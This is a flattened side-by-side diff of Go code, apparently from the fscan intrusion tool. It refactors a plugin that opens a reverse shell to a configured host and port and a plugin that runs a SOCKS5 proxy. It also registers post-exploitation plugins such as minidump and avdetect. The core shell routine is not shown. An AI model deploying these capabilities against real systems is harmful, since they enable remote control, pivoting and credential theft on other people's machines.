// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现 // ScanLocal 执行反弹Shell扫描 - 简化版本
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...") common.LogBase("启动Go原生反弹Shell...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
reverseShellConn := conn.(*ReverseShellConnection)
// 启动反弹shell // 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target)) common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到 // 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port) err := p.startNativeReverseShell(ctx, p.host, p.port)
if err != nil { if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err)) common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{ return &base.ScanResult{
@ -160,9 +102,9 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf
result := &base.ScanResult{ result := &base.ScanResult{
Success: true, Success: true,
Service: "ReverseShell", Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS), Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
Extra: map[string]interface{}{ Extra: map[string]interface{}{
"target": reverseShellConn.Target, "target": p.target,
"platform": runtime.GOOS, "platform": runtime.GOOS,
"implementation": "go_native", "implementation": "go_native",
"status": "completed", "status": "completed",
@ -299,8 +241,10 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
func (p *ReverseShellPlugin) GetInfo() string { func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder var info strings.Builder
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target)) info.WriteString("Go原生反弹Shell插件\n")
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 建立反弹Shell连接支持交互式命令执行\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n") info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String() return info.String()

View File

@ -15,27 +15,14 @@ import (
"github.com/shadow1ng/fscan/plugins/local" "github.com/shadow1ng/fscan/plugins/local"
) )
// Socks5ProxyPlugin SOCKS5代理插件 // Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构
type Socks5ProxyPlugin struct { type Socks5ProxyPlugin struct {
*local.BaseLocalPlugin *local.BaseLocalPlugin
connector *Socks5ProxyConnector port int
port int listener net.Listener
listener net.Listener
} }
// Socks5ProxyConnector SOCKS5代理连接器 // NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本
type Socks5ProxyConnector struct {
*local.BaseLocalConnector
port int
}
// Socks5ProxyConnection SOCKS5代理连接对象
type Socks5ProxyConnection struct {
*local.LocalConnection
Port int
}
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
// 从全局参数获取SOCKS5端口 // 从全局参数获取SOCKS5端口
port := common.Socks5ProxyPort port := common.Socks5ProxyPort
@ -53,14 +40,12 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
Protocols: []string{"local"}, Protocols: []string{"local"},
} }
connector := NewSocks5ProxyConnector(port)
plugin := &Socks5ProxyPlugin{ plugin := &Socks5ProxyPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
connector: connector,
port: port, port: port,
} }
// 设置支持的平台 // 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限 // 不需要特殊权限
plugin.SetRequiresPrivileges(false) plugin.SetRequiresPrivileges(false)
@ -68,44 +53,10 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
return plugin return plugin
} }
// NewSocks5ProxyConnector 创建SOCKS5代理连接器 // Initialize 初始化插件
func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector { func (p *Socks5ProxyPlugin) Initialize() error {
baseConnector, _ := local.NewBaseLocalConnector() // 调用基类初始化
return p.BaseLocalPlugin.Initialize()
return &Socks5ProxyConnector{
BaseLocalConnector: baseConnector,
port: port,
}
}
// Connect 建立SOCKS5代理连接
func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 检查端口是否可用
testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port))
if err != nil {
return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err)
}
testListener.Close() // 立即关闭测试监听器
socks5Conn := &Socks5ProxyConnection{
LocalConnection: baseConn,
Port: c.port,
}
return socks5Conn, nil
}
// Close 关闭SOCKS5代理连接
func (c *Socks5ProxyConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
} }
// Scan 重写扫描方法以确保调用正确的ScanLocal实现 // Scan 重写扫描方法以确保调用正确的ScanLocal实现
@ -113,27 +64,15 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*b
return p.ScanLocal(ctx, info) return p.ScanLocal(ctx, info)
} }
// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器 // ScanLocal 执行SOCKS5代理扫描 - 简化版本
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动SOCKS5代理服务器...") common.LogBase("启动SOCKS5代理服务器...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
socks5Conn := conn.(*Socks5ProxyConnection)
// 启动SOCKS5代理服务器 // 启动SOCKS5代理服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port)) common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port))
// 直接在当前goroutine中运行这样可以确保在设置Socks5ProxyActive后立即被主程序检测到 // 直接在当前goroutine中运行这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
err = p.startSocks5Server(ctx, socks5Conn.Port) err := p.startSocks5Server(ctx, p.port)
if err != nil { if err != nil {
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err)) common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
return &base.ScanResult{ return &base.ScanResult{
@ -145,9 +84,9 @@ func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo
result := &base.ScanResult{ result := &base.ScanResult{
Success: true, Success: true,
Service: "SOCKS5Proxy", Service: "SOCKS5Proxy",
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS), Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{ Extra: map[string]interface{}{
"port": socks5Conn.Port, "port": p.port,
"platform": runtime.GOOS, "platform": runtime.GOOS,
"protocol": "socks5", "protocol": "socks5",
"status": "completed", "status": "completed",
@ -402,8 +341,10 @@ func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostIn
func (p *Socks5ProxyPlugin) GetInfo() string { func (p *Socks5ProxyPlugin) GetInfo() string {
var info strings.Builder var info strings.Builder
info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port)) info.WriteString("SOCKS5代理服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供本地SOCKS5代理服务支持TCP连接转发\n")
info.WriteString("协议: SOCKS5支持HTTP/HTTPS代理\n") info.WriteString("协议: SOCKS5支持HTTP/HTTPS代理\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n") info.WriteString("实现方式: 纯Go原生无外部依赖\n")

12
main.go
View File

@ -8,12 +8,12 @@ import (
"github.com/shadow1ng/fscan/core" "github.com/shadow1ng/fscan/core"
// 引入本地插件以触发注册 // 引入本地插件以触发注册
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" _ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo" _ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/minidump" _ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" _ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" _ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" _ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
) )
func main() { func main() {